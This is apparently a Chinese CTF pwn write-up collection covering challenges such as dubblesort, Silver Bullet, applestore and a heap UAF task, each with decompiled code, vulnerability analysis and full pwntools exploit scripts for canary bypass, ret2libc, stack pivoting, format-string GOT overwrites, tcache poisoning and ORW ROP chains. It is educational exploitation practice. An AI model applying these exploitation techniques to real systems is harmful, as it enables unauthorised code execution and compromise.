IDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; _BYTE *v4; unsigned int i; unsigned int j; int result; unsigned int v8; _BYTE v9[32 ]; char buf[64 ]; unsigned int v11; v11 = __readgsdword(0x14u ); sub_8B5(); __printf_chk(1 , (int )"What your name :" ); read(0 , buf, 0x40u ); __printf_chk(1 , (int )"Hello %s,How many numbers do you what to sort :" ); __isoc99_scanf("%u" , &v8); v3 = v8; if ( v8 ) { v4 = v9; for ( i = 0 ; i < v8; ++i ) { __printf_chk(1 , (int )"Enter the %d number : " ); fflush(stdout ); __isoc99_scanf("%u" , v4); v3 = v8; v4 += 4 ; } } sub_931(v9, v3); puts ("Result :" ); if ( v8 ) { for ( j = 0 ; j < v8; ++j ) __printf_chk(1 , (int )"%u " ); } result = 0 ; if ( __readgsdword(0x14u ) != v11 ) sub_BA0(); return result; }
程序大体意思就是冒泡排序
分析 首先
1 __printf_chk(1 , (int )"Hello %s,How many numbers do you what to sort :" );
这里 %s 输出我们输入的字符串,但并没有在我们输入的后面加上 \x00,也就可以通过这个泄露栈上的信息,动态调试后发现栈上存了一个 libc 地址,就可以泄露libc
这里需要注意的是本地和远程环境不一样 ,本地 a*24 来填充,而远程 a*28 才是libc地址
然后程序要求我们输入排序的个数却没有对其的大小进行限制,那么我们就可以确定偏移后进行栈溢出,然后 ret2libc
绕过canary 这里还有一个难点就是如何绕过canary,我们之前的 %s 由于填充长度不够无法泄露,但是这里我们是 __isoc99_scanf("%u", &v8); 来输入的,当我们输入一些比如 “+” 或 “-“ 时,scanf 读到后发现只有符号,就会退出并且返回 0 ,也就不会更改栈上数据,也就可以保留 canary
%x %d 也可以通过这样绕过
排序 由于程序最后会对我们输入的数据进行排序 ,也就是对栈上的信息排序,要是我们输入canary后的数据比canary小的话,就会使 canary 的位置发生改变,最后比对时找到的 canary 就不是原来的那个 canary 了,所以保守一点就是将 canary 前填成 0 ,后面填成 system_addr,最后加一个 binsh_addr 即可(binsh_addr > system_addr )
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import * context(arch='amd64' ,os='linux' ,log_level='debug' ) r=process('./sort' ) libc=ELF('./libc_32.so.6' ) elf=ELF('./sort' ) r.recv() r.sendline(b'a' *24 ) r.recvuntil("Hello aaaaaaaaaaaaaaaaaaaaaaaa" ) libcbase=u32(r.recv(4 ))-0xa -0x1b0000 system_addr=libcbase+libc.sym['system' ] binsh_addr=libcbase+next (libc.search(b'/bin/sh' )) r.sendlineafter("what to sort :" ,str (35 ))print (hex (libcbase))for i in range (24 ): r.sendlineafter(" number : " ,str (1 )) r.sendlineafter(" number : " ,'+' ) for i in range (9 ): r.sendlineafter(" number :" ,str (system_addr)) r.sendlineafter(" number :" ,str (binsh_addr)) r.interactive()
总结 学到了 scanf(“%x”) 中绕过 canary 的方法
pwnable.tw Silver Bullet 基本信息 1 2 3 4 5 6 7 8 9 10 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/sil_b$ checksec sb [*] '/mnt/hgfs/VMware-share/pwnable/sil_b/sb' Arch: i386-32-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8045000) Stripped: No yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/pwnable/sil_b$ file sb sb: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /home/yyyffff/glibc-all-in-one/libs/2.23-0ubuntu3_i386/ld-2.23.so, for GNU/Linux 2.6.32, BuildID[sha1]=8c95d92edf8bf47b6c9c450e882b7142bf656a92, not stripped
IDA 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 int __cdecl main (int argc, const char **argv, const char **envp) { int v3; int v5; const char *v6; char s[48 ]; int v8; init_proc(); v8 = 0 ; memset (s, 0 , sizeof (s)); v5 = 0x7FFFFFFF ; v6 = "Gin" ; while ( 1 ) { while ( 1 ) { while ( 1 ) { while ( 1 ) { menu(v5, v6); v3 = read_int(); if ( v3 != 2 ) break ; power_up(s); } if ( v3 > 2 ) break ; if ( v3 != 1 ) goto LABEL_15; create_bullet(s); } if ( v3 == 3 ) break ; if ( v3 == 4 ) { puts ("Don't give up !" ); exit (0 ); } LABEL_15: puts ("Invalid choice" ); } if ( beat(s, &v5) ) return 0 ; puts ("Give me more power !!" ); } }
一个菜单题,首先进入 create 查看
1 2 3 4 5 6 7 8 9 10 11 12 13 int __cdecl create_bullet (char *s) { size_t v2; if ( *s ) return puts ("You have been created the Bullet !" ); printf ("Give me your description of bullet :" ); read_input(s, 0x30u ); v2 = strlen (s); printf ("Your power is : %u\n" , v2); *((_DWORD *)s + 0xC ) = v2; return puts ("Good luck !!" ); }
在传进来的那个参数上输入 data ,然后将长度存在 *((_DWORD *)s + 0xC) ,也就是 s[0x30] (因为 s 是 dowrd,+0xc也就是 + sizeof(dwowrd)*0xc,也就是 0x30)
进入 power_up 查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int __cdecl power_up (char *dest) { char s[48 ]; size_t v3; v3 = 0 ; memset (s, 0 , sizeof (s)); if ( !*dest ) return puts ("You need create the bullet first !" ); if ( *((_DWORD *)dest + 0xC ) > 0x2Fu ) return puts ("You can't power up any more !" ); printf ("Give me your another description of bullet :" ); read_input(s, 0x30 - *((_DWORD *)dest + 0xC )); strncat (dest, s, 0x30 - *((_DWORD *)dest + 0xC )); v3 = strlen (s) + *((_DWORD *)dest + 0xC ); printf ("Your new power is : %u\n" , v3); *((_DWORD *)dest + 0xC ) = v3; return puts ("Enjoy it !" ); }
当我们 power_up ,长度恰好来到 0x30 时,由于 strncat 会在末尾额外添加一个 \x00 ,这就会导致原本存的长度为 0 ,从而可以继续读取,从 s[0x31] 开始,因为最后还会赋给 s[0x30] 一个长度,所以实际上从 0x31 开始,而且还给了 ret2libc ,所以用 ret2libc,栈溢出在 main 函数中,所以要想办法退出 main 函数
查看 beat 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 int __cdecl beat (int a1, int a2) { if ( *(_BYTE *)a1 ) { puts (">----------- Werewolf -----------<" ); printf (" + NAME : %s\n" , *(const char **)(a2 + 4 )); printf (" + HP : %d\n" , *(_DWORD *)a2); puts (">--------------------------------<" ); puts ("Try to beat it ....." ); usleep(0xF4240u ); *(_DWORD *)a2 -= *(_DWORD *)(a1 + 0x30 ); if ( *(int *)a2 <= 0 ) { puts ("Oh ! You win !!" ); return 1 ; } else { puts ("Sorry ... It still alive !!" ); return 0 ; } } else { puts ("You need create the bullet first !" ); return 0 ; } }
要求 s[0x30] 大于 0x7fffffff 即可,只需要第二次 power_up 时首先输入 p32(0xffffffff) 即可,需要注意的是 strncat 遇到 \x00 就不会继续了,所以注意我们的 payload 不能有 \x00
利用 两次利用 strncat 添加的 \x00 来栈溢出,第一次利用 puts 泄露 libcbase,第二次执行 system(/bin/sh)
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from pwn import * libc=ELF('./libc_32.so.6' ) elf=ELF('./sb' ) context.log_level='debug' r=remote("chall.pwnable.tw" ,10103 ) sla = lambda a,b : r.sendlineafter(a,b) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) sla("Your choice :" ,"1" ) sla("of bullet :" ,b'a' *0x20 ) sla("Your choice :" ,"2" ) sla("bullet :" ,b'a' *0x10 ) sla("Your choice :" ,"2" ) sla("bullet :" ,p32(0x7fffffff )+b'a' *3 +p32(elf.plt['puts' ])+p32(0x8048954 )+p32(elf.got['puts' ])) sla("Your choice :" ,"3" ) ru("You win !!\n" ) puts_addr=u32(r.recv(4 )) libc.address=puts_addr-libc.sym['puts' ] libcbase=puts_addr-libc.sym['puts' ] sla("Your choice :" ,"1" ) sla("of bullet :" ,b'a' *0x20 ) sla("Your choice :" ,"2" ) sla("bullet :" ,b'a' *0x10 ) sla("Your choice :" ,"2" ) sla("bullet :" ,p32(0x7fffffff )+b'a' *3 +p32(libc.sym['system' ])+p32(0x8048954 )+p32(next (libc.search(b'/bin/sh' )))) sla("Your choice :" ,"3" ) ru("You win !!\n" ) r.interactive()
总结 学习到了 strcnat 的瑕疵,会在最后多添加一个 \x00,类似于 off-by-null
pwnable.tw applestore 基本信息 1 2 3 4 5 6 7 8 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/apple$ checksec applestore [*] '/mnt/hgfs/VMware-share/apple/applestore' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8045000) Stripped: No
glibc-2.23
分析 1 2 3 4 5 6 7 8 9 10 int menu () { puts ("=== Menu ===" ); printf ("%d: Apple Store\n" , 1 ); printf ("%d: Add into your shopping cart\n" , 2 ); printf ("%d: Remove from your shopping cart\n" , 3 ); printf ("%d: List your shopping cart\n" , 4 ); printf ("%d: Checkout\n" , 5 ); return printf ("%d: Exit\n" , 6 ); }
handler 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 unsigned int handler () { char nptr[22 ]; unsigned int v2; v2 = __readgsdword(0x14u ); while ( 1 ) { printf ("> " ); fflush(stdout ); my_read(nptr, 0x15u ); switch ( atoi(nptr) ) { case 1 : list (); break ; case 2 : add(); break ; case 3 : delete(); break ; case 4 : cart(); break ; case 5 : checkout(); break ; case 6 : puts ("Thank You for Your Purchase!" ); return __readgsdword(0x14u ) ^ v2; default : puts ("It's not a choice! Idiot." ); break ; } } }
list 就是列出可以加入购物车的产品,懒得放代码了
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 unsigned int add () { char **v1; char nptr[22 ]; unsigned int v3; v3 = __readgsdword(0x14u ); printf ("Device Number> " ); fflush(stdout ); my_read(nptr, 0x15u ); switch ( atoi(nptr) ) { case 1 : v1 = create("iPhone 6" , (char *)199 ); insert((int )v1); goto LABEL_8; case 2 : v1 = create("iPhone 6 Plus" , (char *)0x12B ); insert((int )v1); goto LABEL_8; case 3 : v1 = create("iPad Air 2" , (char *)0x1F3 ); insert((int )v1); goto LABEL_8; case 4 : v1 = create("iPad Mini 3" , (char *)0x18F ); insert((int )v1); goto LABEL_8; case 5 : v1 = create("iPod Touch" , (char *)0xC7 ); insert((int )v1); LABEL_8: printf ("You've put *%s* in your shopping cart.\n" , *v1); puts ("Brilliant! That's an amazing idea." ); break ; default : puts ("Stop doing that. Idiot!" ); break ; } return __readgsdword(0x14u ) ^ v3; }
加入购物车,首先会创建一个堆,然后利用 insert 函数加入一个貌似是双向链表的结构
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 unsigned int delete () { int v1; int v2; int v3; int v4; int v5; char nptr[22 ]; unsigned int v7; v7 = __readgsdword(0x14u ); v1 = 1 ; v2 = dword_804B070; printf ("Item Number> " ); fflush(stdout ); my_read(nptr, 0x15u ); v3 = atoi(nptr); while ( v2 ) { if ( v1 == v3 ) { v4 = *(_DWORD *)(v2 + 8 ); v5 = *(_DWORD *)(v2 + 12 ); if ( v5 ) *(_DWORD *)(v5 + 8 ) = v4; if ( v4 ) *(_DWORD *)(v4 + 12 ) = v5; printf ("Remove %d:%s from your shopping cart.\n" , v1, *(const char **)v2); return __readgsdword(0x14u ) ^ v7; } ++v1; v2 = *(_DWORD *)(v2 + 8 ); } return __readgsdword(0x14u ) ^ v7; }
从链表中移除指定 idx 的块
cart 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 int cart () { int v0; int v2; int v3; int i; char buf[22 ]; unsigned int v6; v6 = __readgsdword(0x14u ); v2 = 1 ; v3 = 0 ; printf ("Let me check your cart. ok? (y/n) > " ); fflush(stdout ); my_read(buf, 0x15u ); if ( buf[0 ] == 121 ) { puts ("==== Cart ====" ); for ( i = dword_804B070; i; i = *(_DWORD *)(i + 8 ) ) { v0 = v2++; printf ("%d: %s - $%d\n" , v0, *(const char **)i, *(_DWORD *)(i + 4 )); v3 += *(_DWORD *)(i + 4 ); } } return v3; }
列出已经加入购物车的
checkout 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned int checkout () { int v1; char *v2[5 ]; unsigned int v3; v3 = __readgsdword(0x14u ); v1 = cart(); if ( v1 == 7174 ) { puts ("*: iPhone 8 - $1" ); asprintf(v2, "%s" , "iPhone 8" ); v2[1 ] = (char *)1 ; insert((int )v2); v1 = 7175 ; } printf ("Total: $%d\n" , v1); puts ("Want to checkout? Maybe next time!" ); return __readgsdword(0x14u ) ^ v3; }
加入 iPhone 8,栈上的数据
漏洞点 在于 checkout 之中,由于加入的是栈上的熟女,那么我们如果可以控制栈上的数据的话,我们就可以加入我们想要的指针,然后就可以通过 cart 泄露出来,现在问题就变成,如何构造栈上的数据
我们知道,函数调用栈的时候会创建一个栈帧,通过汇编我们可以发现,这几个函数创建的栈帧的结构都是一样的,并且我们还知道函数返回时不会刻意去清理栈上的数据,那么我们就可以利用别的函数在栈上的指定偏移处构造好数据,然后利用 checkout 加入链表,为我们所用
思路如下:
首先 libc 基址肯定需要,我们可以先加入 elf.got[‘puts’],利用 cart 泄露出真实地址
然后还需要栈地址,利用 libc.sym[‘environ’] 泄露出
那么现在基本什么地址都有了,如何调用 system(/bin/sh)呢
由于 got 表可写,这里选择写 atoi 的 got 表地址为 system,然后 handler 里 atoi(nptr) 会调用
这里选择用 delete 写,delete 函数中有
1 2 3 4 5 6 7 8 v4 = *(_DWORD *)(v2 + 8 ); v5 = *(_DWORD *)(v2 + 12 );if ( v5 ) *(_DWORD *)(v5 + 8 ) = v4;if ( v4 ) *(_DWORD *)(v4 + 12 ) = v5;printf ("Remove %d:%s from your shopping cart.\n" , v1, *(const char **)v2);return __readgsdword(0x14u ) ^ v7;
这里我们只需要利用 delete 里的输入,构造好 iphone 8 附近的数据,简单来说就是令这里的 v4=elf.got[‘atoi’]+0x22(因为handler中是往ebp-0x22中写东西),然后v5=environ_addr-0x10c 即可在返回 handler 是修改 handler_ebp=elf.got[‘atoi’]+0x22 ,然后 handler 输入时我们输入 system_addr+b’;/bin/sh’ 即可 shell
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import * context(arch='i386' ,os='linux' ,log_level='debug' ) r=remote("chall.pwnable.tw" ,10104 ) elf=ELF('./applestore' ) libc=ELF('./libc_32.so.6' ) sla = lambda a,b : r.sendlineafter(a,b) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) irt = lambda : r.interactive()def add (number ): sla("> " ,"2" ) sla("Device Number> " ,str (number))def delete (number ): sla("> " ,"3" ) sla("Item Number> " ,number)def cart (payload ): sla("> " ,"4" ) sla("Let me check your cart. ok? (y/n) > " ,payload)def checkout (): sla("> " ,"5" ) sla("Let me check your cart. ok? (y/n) > " ,"y" )for i in range (6 ): add(1 )for i in range (20 ): add(2 ) payload = b'ya' +p32(elf.got['puts' ])+p32(0 )+p32(0 ) checkout() cart(payload) ru("27: " ) libcbase=u32(r.recv(4 ))-libc.sym['puts' ] environ=libcbase+libc.sym['environ' ] system_addr=libcbase+libc.sym['system' ] payload = b'ya' +p32(environ)+p32(0 )+p32(0 ) cart(payload) ru("27: " ) stack_addr=u32(r.recv(4 ))print (hex (stack_addr)) payload = b'27' + p32(stack_addr) + p32(0x12345678 ) payload += p32(elf.got['atoi' ] + 0x22 ) + p32(stack_addr - 0x10c ) delete(payload) sla(b'> ' ,p32(system_addr)+b';/bin/sh\x00' ) irt()
[CISCN 2019西南]PWN1 [CISCN 2019西南]PWN1 | NSSCTF
checksec 32位动态链接,只开了NX
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char format[68 ]; setvbuf(stdin , 0 , 2 , 0 ); setvbuf(stdout , 0 , 2 , 0 ); puts ("Welcome to my ctf! What's your name?" ); __isoc99_scanf("%64s" , format); printf ("Hello " ); printf (format); return 0 ; }
很明显的格式化字符串漏洞
利用 由于有system_plt和栈上的格式化字符串漏洞,尝试将printf_got覆盖成system_plt,然后输入 /bin/sh 执行 system(/bin/sh) 但是这需要两次格式化字符串,首先尝试将返回地址覆盖成 main_addr,但是这需要一次泄露一次写入,不太能实现,所以就考虑覆盖 fini_array[0] 为 main_addr,这个地址是我们已知的,所以覆盖 printf_got 和 fini_array 可以同一次格式化字符串实现,然后第二次进入 main 就可以写入 /bin/sh 拿到 shell 了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 from pwn import * elf=ELF('./xnpwn1' ) context.log_level='debug' r=remote("node5.anna.nssctf.cn" ,23969 ) fini_array=0x804979C main_addr=0x8048534 system_addr=0x80483d0 printf_got=0x804989c payload=p32(fini_array)+p32(printf_got)+p32(printf_got+2 ) payload+=f'%{0x8534 -12 } c%4$hn%{0x10000 -0x8534 +12 +0x83d0 -0xc } c%5$hn%{0x10000 -0x83d0 +0x804 } c%6$hn' .encode() pause() r.sendline(payload) r.sendline(b'/bin/sh\x00' ) r.interactive()
gyctf_2020_borrowstack 基本信息 amd64 只开了NX
IDA 1 2 3 4 5 6 7 8 9 10 11 12 int __cdecl main (int argc, const char **argv, const char **envp) { char buf[96 ]; setbuf(stdin , 0LL ); setbuf(stdout , 0LL ); puts (&s); read(0 , buf, 0x70u LL); puts ("Done!You can check and use your borrow stack now!" ); read(0 , &bank, 0x100u LL); return 0 ; }
第一次只允许溢出到返回地址,第二次在一个 bss 段写入数据,很明显的栈迁移
分析 栈迁移,不过需要注意:
由于该 bss 地址跟 got 表连在一起,在执行 puts_plt 时会破坏掉了我们构造好的 rdi=put_got,所以我们要先 ret*19 将 rsp 向高处移动,这样才会使 rdi=puts_got
第二个也是差不多,如果回到 main 函数重新执行一遍程序也会因为栈的问题而出错,这里选择返回到第二个 read,而执行 system 也会因为栈空间不够而崩溃,所以选择执 ogg,利用 cyclic 计算偏移
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 from pwn import * r=remote("node5.buuoj.cn" ,26688 ) elf=ELF('./bstack' ) libc=ELF('./libc-2.23.so' ) context.log_level='debug' sla = lambda a,b : r.sendlineafter(a,b) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) bank_addr=0x601080 payload=b'a' *0x60 +p64(bank_addr)+p64(0x400699 ) sa("you want\n" ,payload) rdi_addr=0x400703 ret_addr=0x4004c9 payload=b'a' *8 +p64(ret_addr)*19 +p64(rdi_addr)+p64(elf.got['puts' ])+p64(elf.plt['puts' ])+p64(0x0000000000400680 ) sla("borrow stack now!\n" ,payload) puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' ))print (hex (puts_addr)) pause() libcbase=puts_addr-libc.sym['puts' ] system_addr=libcbase+libc.sym['system' ] binsh_addr=libcbase+next (libc.search(b'/bin/sh' )) payload=cyclic(184 )+p64(libcbase+0x4526a ) r.send(payload) r.interactive()
[LitCTF 2023]ezlogin 基本信息 1 2 3 4 5 6 7 yyyffff@yyyffff-virtual-machine:/mnt/hgfs/VMware-share/2026217$ checksec pwn4 [*] '/mnt/hgfs/VMware-share/2026217/pwn4' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
静态链接
分析 main 1 2 3 4 5 6 7 8 9 10 11 12 __int64 __fastcall auth_login_loop () { __int64 v1; sub_411ED0((__int64)off_6B97A8, 0 ); sub_411ED0((__int64)off_6B97A0, 0 ); sub_411ED0((__int64)off_6B9798, 0 ); while ( !verify_password((__int64)&v1) ) ; puts ((__int64)"GoodTime." ); return 0 ; }
verify_password 1 2 3 4 5 6 7 8 9 10 11 _BOOL8 __fastcall verify_password (__int64 a1) { char buf_[536 ]; puts ((__int64)"Input your password:" ); memset (buf_, 0 , 0x200u ); if ( (unsigned __int8)read(0 , buf_, 0x200u ) > 0x50u ) exit (-1 ); j_ifunc_4234D0(a1, (__int64)buf_); return strcmp (buf_, "PASSWORD" ) == 0 ; }
由于是静态链接,也没有PIE,所以可以采用 ret2syscall,但是这还需要有一个地方写入 /bin/sh
首先 ret2syscall 调用 read 在 bss 段中写入 /bin/sh 并且回到 main 函数中
第二次 exceve
现在主要的问题就是如何绕过 strcnp 中的 0 截断从而在main函数中实现栈溢出。
因为这里我们可以无限循环。可以这样
1 2 3 4 5 6 7 8 9 def encsend(data:bytes): encdata =data.replace(b'\x00',b'\x01') idx =len(data)-1 while 1: if encdata[idx] == 1: sa("Input your password:" , b'A' *0 x108 + encdata[:idx-len(data)]+b'\x00' ) if idx ==1: return idx =idx-1
首先就是将 0 替换成 1 ,然后从后往前遍历,遇到 1 就把这个 1 前面的数据发送过去,并且在这个位置写上 \x00,不断重复,就可以将所有 1 替换成 0 从而绕过 0 截断。这里 b’A’*0x108 是 main 中的偏移
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import * path='./pwn4' elf=ELF(path) r=remote("node5.anna.nssctf.cn" ,24917 ) sla = lambda a,b : r.sendlineafter(a,b) sl=lambda a : r.sendline(a) sa = lambda a,b : r.sendafter(a,b) ru = lambda a : r.recvuntil(a) rv = lambda a : r.recv(a) irt = lambda : r.interactive() syscall=0x0000000000474c15 rax=0x00000000004005af rdi=0x0000000000400706 rsi=0x0000000000410043 rdx=0x000000000044b226 def encsend (data:bytes ): encdata=data.replace(b'\x00' ,b'\x01' ) idx=len (data)-1 while 1 : if encdata[idx] == 1 : sa("Input your password:" , b'A' *0x108 + encdata[:idx-len (data)]+b'\x00' ) if idx==1 : return idx=idx-1 main=0x0000000004005C0 bss=0x6b6000 payload=p64(rax)+p64(0 )+p64(rdi)+p64(0 )+p64(rsi)+p64(bss)+p64(syscall)+p64(main) encsend(payload) sa("Input your password:" ,b'PASSWORD\x00' ) r.send(b'/bin/sh\x00' ) payload=p64(rax)+p64(59 )+p64(rdi)+p64(bss)+p64(rsi)+p64(0 )+p64(rdx)+p64(0 )+p64(syscall) encsend(payload) pause() sa("Input your password:" ,b'PASSWORD\x00' ) irt()
[CISCN 2022 华东北]blue 基本信息 保护全开,64位动态链接
IDA main 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 void __fastcall __noreturn main (__int64 a1, char **a2, char **a3) { int n666; sub_1730(a1, a2, a3); while ( 1 ) { while ( 1 ) { menu(); n666 = input(); if ( n666 != 666 ) break ; UAF(); } if ( n666 > 666 ) { LABEL_13: output("Invalid choice\n" ); } else if ( n666 == 3 ) { show(); } else { if ( n666 > 3 ) goto LABEL_13; if ( n666 == 1 ) { add(); } else { if ( n666 != 2 ) goto LABEL_13; delete(); } } } }
开了沙箱,不允许 exceve
add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 int add () { int n31; unsigned int size[3 ]; output("Please input size: " ); *(_QWORD *)size = (unsigned int )input(); if ( size[0 ] > 0x90 ) size[0 ] = 0x90 ; *(_QWORD *)&size[1 ] = malloc (size[0 ]); if ( *(_QWORD *)&size[1 ] ) { output("Please input content: " ); input1(*(void **)&size[1 ], size[0 ]); for ( n31 = 0 ; n31 <= 31 ; ++n31 ) { if ( !ptr[n31] && !len[n31] ) { ptr[n31] = *(_QWORD *)&size[1 ]; len[n31] = size[0 ]; output("Done\n" ); return n31; } } return output("Empty\n" ); } else { output("Malloc Error\n" ); return -1 ; } }
delete 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 int delete () { unsigned int n0x20; output("Please input idx: " ); n0x20 = input(); if ( n0x20 <= 0x20 && len[n0x20] && ptr[n0x20] ) { free ((void *)ptr[n0x20]); ptr[n0x20] = 0 ; len[n0x20] = 0 ; return output("DONE!\n" ); } else { output("ERROR\n" ); return -1 ; } }
show 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int show () { unsigned int n0x20; if ( dword_406C > 0 ) { puts ("ERROR" ); _exit(0 ); } output("Please input idx: " ); n0x20 = input(); if ( n0x20 <= 0x20 && len[n0x20] && ptr[n0x20] ) { output((const char *)ptr[n0x20]); ++dword_406C; return output("Done!\n" ); } else { output("ERROR\n" ); return -1 ; } }
只能用一次
UAF 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 int UAF () { unsigned int n0x20; if ( dword_4070 > 0 ) { puts ("ERROR" ); _exit(0 ); } output("Please input idx: " ); n0x20 = input(); if ( n0x20 <= 0x20 && len[n0x20] && ptr[n0x20] ) { free ((void *)ptr[n0x20]); ++dword_4070; return output("DONE!\n" ); } else { output("ERROR\n" ); return -1 ; } }
有一个只能使用一次的UAF
分析 由于不允许 exceve,所以用 orw。libc基址肯定需要,然后可以在泄漏environ变量来泄露栈地址。
首先利用UAF泄露libc基址,然后利用 stdout 泄露 environ
分配 10 个0x80堆块
delete 0-6
UAF 8
show 8 泄露 libc 基址
delete 7,此时 78 合并在 unsortedbin 中
add 0x80,使tcache中空出一块
delete 8,此时8同时在unsortedbin和tcache中
add 两次0x70,第二次就可以往 8 块中写入 tcache 的 fd 了,这里写入 stdout
分配两次 0x80,就可以修改 stdout
然后修改stdout 中的 write_base 和 write_ptr 为p64(environ)+p64(environ+8)就可以泄露其中内容
然后 delete 3 与 2 这个就是刚刚同时处于 unsortedbin 和 tcache 中的块,2可以控制3,然后我们像上面一样 ,将 fd 修改成 stack,就可以分配到栈上的地址,往里面写入 orw ,就可以拿到 flag 了
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 from pwn import * context.terminal = ['tmux' , 'splitw' , '-h' ] context(arch = 'amd64' , os = 'linux' ) context.log_level = 'debug' r = remote("node4.anna.nssctf.cn" , 22956 ) elf = ELF("./pwn1" ) libc = elf.libcdef debug (): gdb.attach(r) pause() sd = lambda s : r.send(s) sda = lambda s, n : r.sendafter(s, n) sl = lambda s : r.sendline(s) sla = lambda s, n : r.sendlineafter(s, n) rc = lambda n : r.recv(n) ru = lambda s : r.recvuntil(s) addr = lambda n : u64(r.recv(n).ljust(8 , b'\x00' )) addr32 = lambda s : u32(r.recvuntil(s, drop=True , timeout=1 ).ljust(4 , b'\x00' )) addr64 = lambda s : u64(r.recvuntil(s, drop=True , timeout=1 ).ljust(8 , b'\x00' )) byte = lambda n : str (n).encode() info = lambda s, n : print ("\033[31m[" +s+"->" +str (hex (n))+"]\033[0m" ) irt = lambda : r.interactive()def add (size,content=b'a' ): sla("Choice: " ,str (1 )) sla("size: " ,str (size)) sla("content: " ,content)def delete (idx ): sla("Choice: " ,str (2 )) sla("idx: " ,str (idx))def show (idx ): sla("Choice: " ,str (3 )) sla("idx: " ,str (idx))def UAF (idx ): sla("Choice: " ,str (666 )) sla("idx: " ,str (idx))for i in range (10 ): add(0x80 )for i in range (7 ): info("nuber :" ,i) delete(i) UAF(8 ) show(8 ) ru("\n" ) libcbase=addr(6 )-0x1ECBE0 system_addr=libcbase+libc.sym['system' ] info('System: ' ,system_addr) stdout=libcbase+libc.sym['_IO_2_1_stdout_' ] environ=libcbase+libc.sym['environ' ] delete(7 ) add(0x80 ) delete(8 ) add(0x70 ) add(0x70 ,p64(0 )+p64(0x91 )+p64(stdout)) add(0x80 ) add(0x80 ,p64(0xfbad1800 )+p64(0 )*3 +p64(environ)+p64(environ+8 )) ru("\n" ) stack=addr(6 )-0x120 -8 info('stack: ' ,stack) delete(3 ) delete(2 ) add(0x70 ,p64(0 )+p64(0x91 )+p64(stack)) rdi=libcbase+0x0000000000023b6a rsi=libcbase+0x000000000002601f rdx=libcbase+0x0000000000142c92 open_addr=libcbase+libc.sym['open' ] read_addr=libcbase+libc.sym['read' ] write_addr=libcbase+libc.sym['write' ] puts_addr=libcbase+libc.sym['puts' ] flag=stack+0x200 payload=b'./flag\x00\x00' +p64(rdi)+p64(stack)+p64(rsi)+p64(0 )+p64(open_addr) payload+=p64(rdi)+p64(3 )+p64(rsi)+p64(flag)+p64(rdx)+p64(0x30 )+p64(read_addr) payload+=p64(rdi)+p64(flag)+p64(puts_addr) add(0x80 ) add(0x80 ,payload) irt()
[GDOUCTF 2023]Random 基本信息 64位ELF动态链接,什么保护都没开,沙箱不允许 exceve
